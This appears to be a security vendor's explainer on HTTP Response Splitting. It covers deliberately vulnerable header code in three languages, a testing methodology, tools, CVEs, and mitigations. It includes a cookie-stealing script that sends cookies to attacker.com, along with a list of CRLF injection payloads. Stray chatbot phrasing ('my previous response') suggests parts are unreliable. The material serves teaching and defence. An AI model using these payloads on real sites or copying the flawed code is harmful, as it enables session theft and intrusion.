21 Feb, 2023

HTTP Response Splitting

Vulnerability Assessment as a Service (VAaaS)

Tests systems and applications for vulnerabilities to address weaknesses.

HTTP Response Splitting is a web security vulnerability that allows an attacker to inject additional HTTP headers and data into a server’s response. This can lead to a range of attacks, such as cross-site scripting (XSS), cache poisoning, and session hijacking.

The vulnerability occurs when a web application does not properly sanitize user input that is used to construct the HTTP response headers. An attacker can exploit this by submitting specially crafted input that includes line breaks or carriage returns, which can be interpreted by the server as a separate header or response.

Example of vulnerable code on different programming languages:


in Java:

				
					String data = request.getParameter("data");
response.addHeader("Set-Cookie", "session-id=" + data);

				
			


In this Java code snippet, the data variable is taken from the user input and is not properly sanitized. An attacker can send a request with a specially crafted data parameter that contains line breaks, which can be interpreted as separate headers by the server.

• in PHP:

				
					$data = $_GET['data'];
header('Set-Cookie: session-id=' . $data);

				
			


This PHP code snippet is similar to the Java example above. The data variable is taken from the $_GET array and is not properly sanitized. An attacker can send a request with a specially crafted data parameter that contains line breaks, which can be interpreted as separate headers by the server.

• in Python:

				
					from http.server import HTTPServer, BaseHTTPRequestHandler

class MyHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        data = self.path.split('?')[1]
        self.send_header('Set-Cookie', 'session-id=' + data)
        self.end_headers()

httpd = HTTPServer(('localhost', 8000), MyHandler)
httpd.serve_forever()

				
			


In this Python code snippet, the data variable is taken from the query string of the GET request and is not properly sanitized. An attacker can send a request with a specially crafted query string that contains line breaks, which can be interpreted as separate headers by the server.

Examples of exploitation HTTP Response Splitting

Example 1: Cache poisoning

An attacker could use HTTP Response Splitting to inject a fake cache-control header into a server’s response. This could cause the response to be cached incorrectly by an intermediary cache, such as a proxy server or a CDN. The attacker could then submit a subsequent request with the same header, causing the cached response to be returned and potentially exposing sensitive information.

Example 2: Cross-site scripting (XSS)

An attacker could use HTTP Response Splitting to inject a malicious script into a server’s response. This could cause the script to be executed by the user’s browser, allowing the attacker to steal sensitive information or perform other malicious actions.

For example, an attacker could inject the following script into a response:

				
					<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

				
			


When the user’s browser executes the script, it will redirect to the attacker’s site and send the user’s session cookie as a parameter.

Example 3: Session hijacking

An attacker could use HTTP Response Splitting to inject a fake session ID into a server’s response. This could cause the user’s browser to use the fake session ID for subsequent requests, allowing the attacker to hijack the user’s session and perform actions on their behalf.

For example, an attacker could inject the following header into a response:

				
					Set-Cookie: session-id=attacker_session_id\r\nLocation: http://target.com/homepage.html

				
			


When the user’s browser follows the Location header, it will use the attacker’s session ID for subsequent requests to the target site.

Privilege escalation techniques for HTTP Response Splitting

Session hijacking

As I mentioned in my previous response, an attacker can use HTTP Response Splitting to inject a fake session ID into a server’s response. If the server is not properly validating the session ID, the attacker could use the fake session ID to hijack the user’s session and perform actions on their behalf, including actions that require elevated privileges.

Cross-site scripting (XSS)

If an attacker can inject a malicious script into a server’s response using HTTP Response Splitting, they could potentially use that script to steal a user’s session cookie or perform other actions that require elevated privileges.

If the user whose session cookie was stolen has elevated privileges, the attacker could use the stolen cookie to perform actions on the victim’s behalf, including actions that require elevated privileges.

Cache poisoning

As I mentioned earlier, an attacker could use HTTP Response Splitting to inject a fake cache-control header into a server’s response, causing the response to be cached incorrectly by an intermediary cache.

If the response that is cached includes content that is normally only visible to users with elevated privileges, the attacker could then retrieve that cached content and view it, potentially gaining access to sensitive information.

General methodology and checklist for HTTP Response Splitting

Methodology:

  1. Identify the entry points: Determine the entry points where user input is accepted and processed. These entry points include any parameters or data that can be submitted in an HTTP request, such as query parameters, form data, or cookies.

  2. Send input that could be used to inject headers: Send input to the identified entry points that includes characters such as newline (\n) or carriage return (\r). These characters can be used to inject additional headers into the response.

  3. Check the response: Inspect the response headers to see if the input was included in any headers. If the input was included in the response headers, it could indicate a vulnerability to HTTP Response Splitting.

  4. Confirm the vulnerability: If a potential vulnerability is identified, confirm it by attempting to inject a complete header that could cause the server to behave in an unexpected way. For example, injecting a fake “Location” header that causes the user to be redirected to a different site could confirm the vulnerability.

  5. Report the vulnerability: If a vulnerability is confirmed, report it to the appropriate parties so that it can be addressed and fixed.

Checklist:

  1. Identify all the places in the application where user input is accepted, including any parameters that can be submitted in an HTTP request, such as query parameters, form data, and cookies.

  2. Test each user input point by entering data that contains newline characters, carriage return characters, and other special characters. This can help identify whether the application is properly validating user input and preventing HTTP Response Splitting attacks.

  3. Test the application to see if it is properly sanitizing output, which can help prevent attackers from injecting malicious headers into the server’s response.

  4. Test the application to see if it properly handles HTTP headers, including checking whether they are well-formed and not vulnerable to manipulation.

  5. Test whether the application is vulnerable to cache poisoning by sending a request that includes a fake cache-control header and seeing if the response is cached incorrectly by an intermediary cache.

  6. Test whether the application is vulnerable to session hijacking by attempting to inject a fake session ID into the response and seeing if the server accepts it and associates it with the user’s session.

  7. Test whether the application is vulnerable to cross-site scripting by attempting to inject a malicious script into the server’s response using HTTP Response Splitting.

  8. If a vulnerability is suspected, confirm it by attempting to exploit it in a controlled environment. This can help ensure that the vulnerability is real and not a false positive.

  9. Report any confirmed vulnerabilities to the appropriate parties so that they can be addressed and fixed.

Tools set for exploiting HTTP Response Splitting

Automated Tools:

  • Burp Suite – A popular web application security testing tool that can be used to scan for and exploit HTTP Response Splitting vulnerabilities. Burp Suite can automatically detect and report vulnerabilities in web applications, and it also includes a range of manual testing tools.

  • OWASP ZAP – Another popular web application security testing tool that includes automated scanning and manual testing tools. OWASP ZAP can be used to detect and exploit HTTP Response Splitting vulnerabilities, as well as a range of other web application vulnerabilities.

  • Nikto – An open-source web application scanner that can be used to identify a range of vulnerabilities, including HTTP Response Splitting. Nikto can perform both manual and automated testing and can generate detailed reports.

  • Acunetix – A web application security scanner that can be used to identify a range of vulnerabilities, including HTTP Response Splitting. Acunetix includes both automated and manual testing tools and can generate detailed reports.

  • Nessus – A vulnerability scanner that can be used to identify a range of vulnerabilities, including HTTP Response Splitting. Nessus includes both automated and manual testing tools and can generate detailed reports.

  • OpenVAS – An open-source vulnerability scanner that can be used to identify a range of vulnerabilities, including HTTP Response Splitting. OpenVAS includes both automated and manual testing tools and can generate detailed reports.

  • AppSpider – A web application scanner that can be used to identify a range of vulnerabilities, including HTTP Response Splitting. AppSpider includes both automated and manual testing tools and can generate detailed reports.

  • QualysGuard – A cloud-based vulnerability scanner that can be used to identify a range of vulnerabilities, including HTTP Response Splitting. QualysGuard includes both automated and manual testing tools and can generate detailed reports.

  • IBM AppScan – A web application security scanner that can be used to identify a range of vulnerabilities, including HTTP Response Splitting. IBM AppScan includes both automated and manual testing tools and can generate detailed reports.

  • WebInspect – A web application security scanner that can be used to identify a range of vulnerabilities, including HTTP Response Splitting. WebInspect includes both automated and manual testing tools and can generate detailed reports.

Manual Tools:

  • cURL – A command-line tool that can be used to send HTTP requests and test for HTTP Response Splitting vulnerabilities. cURL can be used to manipulate HTTP headers and inspect server responses.

  • Netcat – Another command-line tool that can be used to send HTTP requests and test for HTTP Response Splitting vulnerabilities. Netcat can be used to manipulate HTTP headers and inspect server responses.

  • Telnet – A command-line tool that can be used to connect to a web server and manually send HTTP requests. Telnet can be used to test for HTTP Response Splitting vulnerabilities by manipulating HTTP headers and inspecting server responses.

  • Firefox Tamper Data – A browser plugin that can be used to intercept and modify HTTP requests and responses. Tamper Data can be used to test for HTTP Response Splitting vulnerabilities by manipulating HTTP headers and inspecting server responses.

  • Chrome DevTools – A set of developer tools that can be used to inspect and debug web applications. Chrome DevTools can be used to test for HTTP Response Splitting vulnerabilities by manipulating HTTP headers and inspecting server responses.

  • BeeF – A browser exploitation framework that can be used to test for HTTP Response Splitting vulnerabilities in web applications. BeeF can be used to intercept and modify HTTP requests and responses, as well as perform other types of attacks.

  • Wget – A command-line tool that can be used to retrieve files and web pages from web servers. Wget can be used to test for HTTP Response Splitting vulnerabilities by manipulating HTTP headers and inspecting server responses.

  • Fiddler – A web debugging proxy tool that can be used to intercept and modify HTTP requests and responses. Fiddler can be used to test for HTTP Response Splitting vulnerabilities by manipulating HTTP headers and inspecting server responses.

  • HTTPDebugger – A web debugging proxy tool that can be used to intercept and modify HTTP requests and responses. HTTPDebugger can be used to test for HTTP Response Splitting vulnerabilities by manipulating HTTP headers and inspecting server responses.

  • OWASP WebScarab – A web application testing tool that can be used to test for HTTP Response Splitting vulnerabilities, as well as a range of other web application vulnerabilities. WebScarab includes both automated and manual testing tools.

  • ModSecurity – A web application firewall that can be used to detect and prevent HTTP Response Splitting attacks. ModSecurity can be configured to inspect HTTP headers and prevent any malicious requests from reaching the web application.

  • sqlmap – A tool that can be used to identify and exploit SQL injection vulnerabilities in web applications. SQL injection vulnerabilities can be used to manipulate HTTP responses and potentially trigger HTTP Response Splitting attacks.

  • Metasploit – A penetration testing framework that can be used to test for a range of vulnerabilities, including HTTP Response Splitting. Metasploit includes a range of automated and manual testing tools and can generate detailed reports.

Average CVSS score of stack HTTP Response Splitting

The Common Vulnerability Scoring System (CVSS) is a standardized system for assessing the severity of security vulnerabilities. The CVSS score takes into account a range of factors, including the ease of exploit, the potential impact of a successful attack, and the availability of a patch or workaround.

The CVSS score for an HTTP Response Splitting vulnerability will depend on a range of factors, including the severity of the impact that an attacker could achieve through a successful attack, the likelihood of successful exploitation, and the difficulty of mitigating the vulnerability.

As HTTP Response Splitting can be used to manipulate and poison the web application’s HTTP response headers, this could potentially lead to a range of different impacts, such as session hijacking, data theft, or the injection of malicious code into a victim’s browser.

In general, the CVSS score for an HTTP Response Splitting vulnerability is likely to be medium to high severity, depending on the specific circumstances of the vulnerability. However, the CVSS score can vary significantly depending on the specific impact of the vulnerability, the likelihood of successful exploitation, and the ease of mitigation.

The Common Weakness Enumeration (CWE)

• CWE-113: HTTP Response Splitting: CWE-113 specifically describes the vulnerability of HTTP Response Splitting. It occurs when an attacker is able to inject a newline character into a HTTP response, which can allow them to inject arbitrary HTTP headers and potentially manipulate user sessions or redirect users to malicious sites.

• CWE-807: Reliance on Untrusted Inputs in a Security Decision: This CWE describes a vulnerability that can occur when a web application relies on untrusted inputs to make security decisions, such as deciding whether to grant access to a resource or allow a certain action. This can allow an attacker to manipulate the input in a way that subverts the security decision and gains unauthorized access.

• CWE-444: Inconsistent Interpretation of HTTP Requests (‘HTTP Request Smuggling’): This CWE describes a vulnerability where a web application does not consistently interpret HTTP requests, which can lead to a range of different exploits, including HTTP response splitting.

• CWE-352: Cross-Site Request Forgery (CSRF): This CWE describes a vulnerability that occurs when a web application does not properly validate user-generated requests, which can allow an attacker to make unauthorized requests on behalf of a victim user.

• CWE-613: Insufficient Session Expiration: This CWE describes a vulnerability that occurs when a web application does not properly manage user sessions, which can allow an attacker to hijack an active user session and gain unauthorized access to the web application.

• CWE-614: Sensitive Cookie in HTTPS Session Without ‘Secure’ Attribute: This CWE describes a vulnerability that occurs when a web application does not properly set the ‘secure’ attribute on sensitive cookies, which can allow an attacker to intercept and steal the cookie through a man-in-the-middle attack.

• CWE-522: Insufficiently Protected Credentials: This CWE describes a vulnerability that occurs when a web application does not properly protect user credentials, such as passwords or other sensitive data. This can allow an attacker to steal or guess the credentials and gain unauthorized access to the web application.

• CWE-319: Cleartext Transmission of Sensitive Information: This CWE describes a vulnerability that occurs when sensitive information is transmitted in cleartext, without encryption, which can allow an attacker to intercept and steal the information.

Top 10 CVES related to HTTP Response Splitting

• CVE-2022-42472 – A improper neutralization of crlf sequences in http headers (‘http response splitting’) in Fortinet FortiOS versions 7.2.0 through 7.2.2, 7.0.0 through 7.0.8, 6.4.0 through 6.4.11, 6.2.0 through 6.2.12, 6.0.0 through 6.0.16, FortiProxy 7.2.0 through 7.2.1, 7.0.0 through 7.0.7, 2.0.0 through 2.0.10, 1.2.0 through 1.2.13, 1.1.0 through 1.1.6 may allow an authenticated and remote attacker to perform an HTTP request splitting attack which gives attackers control of the remaining headers and body of the response.

• CVE-2022-42471 – An improper neutralization of CRLF sequences in HTTP headers (‘HTTP Response Splitting’) vulnerability [CWE-113] In FortiWeb version 7.0.0 through 7.0.2, FortiWeb version 6.4.0 through 6.4.2, FortiWeb version 6.3.6 through 6.3.20 may allow an authenticated and remote attacker to inject arbitrary headers.

• CVE-2022-41915 – Netty project is an event-driven asynchronous network application framework. Starting in version 4.1.83.Final and prior to 4.1.86.Final, when calling `DefaultHttpHeadesr.set` with an _iterator_ of values, header value validation was not performed, allowing malicious header values in the iterator to perform HTTP Response Splitting. This issue has been patched in version 4.1.86.Final. Integrators can work around the issue by changing the `DefaultHttpHeaders.set(CharSequence, Iterator<?>)` call, into a `remove()` call, and call `add()` in a loop over the iterator of values.

• CVE-2022-37953 – An HTTP response splitting vulnerability exists in the AM Gateway Challenge-Response dialog of WorkstationST (<v07.09.15) and could allow an attacker to compromise a victim’s browser/session. WorkstationST is only deployed in specific, controlled environments rendering attack complexity significantly higher than if the attack were conducted on the software in isolation. WorkstationST v07.09.15 can be found in ControlST v07.09.07 SP8 and greater.

• CVE-2022-37242 – MDaemon Technologies SecurityGateway for Email Servers 8.5.2, is vulnerable to HTTP Response splitting via the data parameter.

• CVE-2022-37240 – MDaemon Technologies SecurityGateway for Email Servers 8.5.2 is vulnerable to HTTP Response splitting via the format parameter.

• CVE-2022-20772 – A vulnerability in Cisco Email Security Appliance (ESA) and Cisco Secure Email and Web Manager could allow an unauthenticated, remote attacker to conduct an HTTP response splitting attack. This vulnerability is due to the failure of the application or its environment to properly sanitize input values. An attacker could exploit this vulnerability by injecting malicious HTTP headers, controlling the response body, or splitting the response into multiple responses.

• CVE-2021-45818 – SAFARI Montage 8.7.32 is affected by a CRLF injection vulnerability which can lead to HTTP response splitting.

• CVE-2021-41437 – An HTTP response splitting attack in web application in ASUS RT-AX88U before v3.0.0.4.388.20558 allows an attacker to craft a specific URL that if an authenticated victim visits it, the URL will give access to the cloud storage of the attacker.

• CVE-2021-41084 – http4s is an open source scala interface for HTTP. In affected versions http4s is vulnerable to response-splitting or request-splitting attacks when untrusted user input is used to create any of the following fields: Header names (`Header.name`å), Header values (`Header.value`), Status reason phrases (`Status.reason`), URI paths (`Uri.Path`), URI authority registered names (`URI.RegName`) (through 0.21). This issue has been resolved in versions 0.21.30, 0.22.5, 0.23.4, and 1.0.0-M27 perform the following. As a matter of practice http4s services and client applications should sanitize any user input in the aforementioned fields before returning a request or response to the backend. The carriage return, newline, and null characters are the most threatening.

HTTP Response Splitting exploits

  • HTTP response header injection: This exploit involves injecting malicious HTTP response headers into a web application’s response, which can allow an attacker to hijack user sessions or redirect users to malicious sites.

  • Cache poisoning: This exploit involves manipulating the HTTP response headers to poison the cache of a web application. This can allow an attacker to serve malicious content from the cache, potentially compromising the security of the web application.

  • HTTP Request Smuggling: This exploit takes advantage of inconsistent parsing of HTTP requests by front-end and back-end servers. It involves inserting a rogue HTTP request into a legitimate request, which can allow an attacker to bypass security controls and perform unauthorized actions.

  • Cookie injection: This exploit involves injecting a malicious cookie into a web application’s response, which can allow an attacker to hijack user sessions or steal sensitive information.

  • URL manipulation: This exploit involves manipulating the URL of a web application to inject malicious code into the HTTP response headers, which can allow an attacker to hijack user sessions or redirect users to malicious sites.

  • Cross-site scripting (XSS): While not specifically related to HTTP Response Splitting, XSS can be used in conjunction with HTTP Response Splitting to inject malicious code into the response headers of a web application.

Practicing in test for HTTP Response Splitting

  1. Identify the application or web server you want to test for HTTP Response Splitting.

  2. Determine the entry points to the application, such as input fields or URLs.

  3. Send a request to the application that includes a parameter or input field that is vulnerable to HTTP Response Splitting.

  4. Analyze the HTTP response headers to see if there are any additional headers that were injected by the attacker.

  5. If additional headers are found, try to manipulate them to see if you can hijack a user’s session or redirect them to a malicious site.

  6. Repeat the process with different input fields and parameters to see if you can identify other vulnerabilities.

For study HTTP Response Splitting

OWASP Top 10: is a list of the most critical web application security risks, and HTTP Response Splitting is included in the list. The OWASP website provides detailed information on the vulnerabilities and how to prevent them.

Web Application Hacker’s Handbook: This book is a comprehensive guide to web application security and includes a chapter on HTTP Response Splitting. It provides detailed information on how the vulnerability works, as well as techniques for testing and exploiting it.

Online courses: There are many online courses available that cover web application security and HTTP Response Splitting specifically. Some popular options include the Web Application Penetration Testing course on Udemy and the Ethical Hacking course on Coursera.

Online tutorials and guides: There are many online tutorials and guides available that cover HTTP Response Splitting and other web application vulnerabilities. The OWASP website provides a wide range of resources, including tutorials and cheat sheets.

Conferences and workshops: Attending web application security conferences and workshops can be a great way to learn more about HTTP Response Splitting and other vulnerabilities. Some popular events include Black Hat, DEF CON, and OWASP conferences.

Books with review of HTTP Response Splitting

“Web Application Hacker’s Handbook: Finding and Exploiting Security Flaws” by Dafydd Stuttard and Marcus Pinto – This book is a comprehensive guide to web application security, including HTTP Response Splitting.

“The Tangled Web: A Guide to Securing Modern Web Applications” by Michal Zalewski – This book provides a detailed overview of web application security, including the risks of HTTP Response Splitting.

“Hacking Exposed Web Applications: Web Application Security Secrets and Solutions” by Joel Scambray, Mike Shema, and Caleb Sima – This book is a comprehensive guide to web application security, including HTTP Response Splitting.

“Web Security for Developers: Real Threats, Practical Defense” by Malcolm McDonald and James D. Brown – This book provides a practical guide to web application security, including HTTP Response Splitting.

“The Art of Software Security Assessment: Identifying and Preventing Software Vulnerabilities” by Mark Dowd, John McDonald, and Justin Schuh – This book is a comprehensive guide to software security, including web application security and HTTP Response Splitting.

“Bulletproof SSL and TLS: Understanding and Deploying SSL/TLS and PKI to Secure Servers and Web Applications” by Ivan Ristić – This book provides a detailed guide to SSL/TLS security, including how to prevent HTTP Response Splitting attacks.

“The Basics of Web Hacking: Tools and Techniques to Attack the Web” by Josh Pauli – This book is a beginner’s guide to web application hacking, including HTTP Response Splitting.

“The Web Application Defender’s Cookbook: Battling Hackers and Protecting Users” by Ryan C. Barnett – This book provides a practical guide to web application security, including HTTP Response Splitting.

“Mastering Modern Web Penetration Testing” by Prakhar Prasad – This book is a comprehensive guide to web application security testing, including how to identify and exploit HTTP Response Splitting vulnerabilities.

“Advanced Web Application Penetration Testing with Burp Suite” by Sunny Wear – This book is a practical guide to web application penetration testing using Burp Suite, including how to test for HTTP Response Splitting vulnerabilities.

List of payloads HTTP Response Splitting

  • %0d%0a – This is a URL-encoded representation of the CRLF sequence, which is used to create new lines in HTTP headers. It is commonly used in HTTP Response Splitting attacks.

  • %0d%0aContent-Length: 0 – This payload can be used to create a blank response that terminates the original response and creates a new HTTP response.

  • %0d%0aSet-Cookie: session_id=attacker – This payload can be used to set a new cookie value for the victim’s session, allowing the attacker to hijack the session.

  • %0d%0aRefresh: 0;url=http://attacker.com – This payload can be used to redirect the victim to a malicious website.

  • %0d%0aLocation: http://attacker.com – This payload can be used to redirect the victim to a malicious website.

  • %0d%0aX-XSS-Protection: 0 – This payload can be used to disable the victim’s XSS protection in the browser, making it easier for the attacker to launch additional attacks.

  • %0d%0aContent-Type: text/html – This payload can be used to modify the content type of the response, allowing the attacker to inject HTML or other malicious content.

  • %0d%0aSet-Cookie: session_id=attacker; HttpOnly – This payload can be used to set a new cookie value for the victim’s session, with the HttpOnly flag set to prevent JavaScript from accessing the cookie.

  • %0d%0aSet-Cookie: session_id=attacker; Secure – This payload can be used to set a new cookie value for the victim’s session, with the Secure flag set to prevent the cookie from being transmitted over unencrypted connections.

  • %0d%0aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3 – This payload can be used to modify the user agent header of the response, allowing the attacker to bypass certain security checks or filters.

How to be protected from HTTP Response Splitting

  1. Keep your web server software and applications up to date with the latest security patches.

  2. Use secure coding practices when developing web applications and avoid using user-supplied input directly in HTTP headers.

  3. Implement input validation and sanitization to prevent malicious data from being injected into HTTP headers.

  4. Use a web application firewall (WAF) to filter out malicious traffic and block known HTTP Response Splitting attacks.

  5. Enable and use the Secure and HttpOnly flags on cookies to prevent cookie hijacking and other attacks.

  6. Use HTTPS to encrypt communications between the client and the server, and avoid mixing HTTP and HTTPS traffic.

  7. Use content security policies (CSP) to control the sources of content that can be loaded in a web page, and to prevent the execution of malicious scripts.

  8. Regularly scan your web applications for vulnerabilities and weaknesses using automated tools or manual testing.

  9. Implement proper session management practices, such as session timeouts and regeneration, to reduce the risk of session hijacking.

  10. Educate developers and other stakeholders on the risks and best practices associated with HTTP Response Splitting, and regularly review and update security policies and procedures to ensure they remain effective.

Mitigations for HTTP Response Splitting

  1. Verify that user input is properly formatted and free of any malicious data before using it in HTTP headers.

  2. Properly encode all output to prevent malicious data from being injected into HTTP headers.

  3. Avoid using user-supplied input directly in HTTP headers.

  4. A WAF can filter out malicious traffic and block known HTTP Response Splitting attacks.

  5. These flags help prevent cookie hijacking and other attacks.

  6. HTTPS encrypts communications between the client and server and helps prevent attackers from intercepting or modifying traffic.

  7. CSP controls the sources of content that can be loaded in a web page and helps prevent the execution of malicious scripts.

  8. Implement proper session management practices such as session timeouts and regeneration to reduce the risk of session hijacking.

  9. Use automated tools or manual testing to regularly scan web applications for vulnerabilities and weaknesses.

  10. Apply security patches and updates to keep web server software and applications secure.

Conclusion

HTTP Response Splitting is a web application vulnerability that allows an attacker to inject arbitrary HTTP headers into a web server’s response. This can lead to a range of attacks, such as session hijacking, cookie hijacking, and phishing.

HTTP Response Splitting attacks can be prevented by following secure coding practices, input validation, output encoding, and implementing web application firewalls, secure session management practices, and using HTTPS. Regularly scanning web applications for vulnerabilities and weaknesses, and keeping web server software and applications up to date with security patches are also important measures to mitigate this vulnerability.

It is important for developers and website administrators to be aware of the risks associated with HTTP Response Splitting and take appropriate measures to protect against this vulnerability. By implementing appropriate security measures, organizations can reduce the risk of HTTP Response Splitting attacks and protect their web applications and users from harm.

Other Services

Ready to secure?

Let's get in touch